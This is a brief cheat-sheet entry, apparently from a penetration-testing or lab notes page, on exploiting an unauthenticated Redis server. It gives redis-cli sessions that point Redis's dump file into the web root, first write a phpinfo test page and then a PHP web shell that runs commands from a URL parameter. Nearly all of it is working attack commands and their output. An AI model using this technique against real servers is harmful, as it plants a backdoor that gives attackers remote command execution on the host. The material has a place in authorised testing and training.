How to deal with a Redis database?
redis-cli -h 10.10.60.159
10.10.60.159:6379> config set dir /var/www/html
OK
10.10.60.159:6379> config set dbfilename redis.php
OK
10.10.60.159:6379> set test "<?php phpinfo(); ?>"
OK
10.10.60.159:6379> save
OKredis-cli -h 10.10.60.159
10.10.60.159:6379> config set dir /var/www/html
OK
10.10.60.159:6379> config set dbfilename redisshell.php
OK
10.10.60.159:6379> set test "<?php system($_GET['cmd']); ?>"
OK
10.10.60.159:6379> save
OKLast updated